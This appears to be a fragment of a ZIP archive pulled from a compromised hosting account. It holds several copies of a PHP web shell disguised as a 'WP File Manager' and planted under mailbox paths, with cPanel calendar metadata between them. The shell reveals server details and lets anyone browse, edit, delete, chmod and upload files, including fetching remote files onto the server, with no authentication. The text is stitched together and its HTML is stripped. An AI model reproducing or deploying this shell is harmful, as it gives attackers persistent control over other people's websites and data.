📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëfinance@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]Ú_'BBinfo@pelasgus.al/.metadatanu„[µü¤[calendar] protected 1 description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c type VCALENDAR [addressbook] type VADDRESSBOOK protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. PK“&{]„N9³§Ë§Ëinfo@pelasgus.al/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
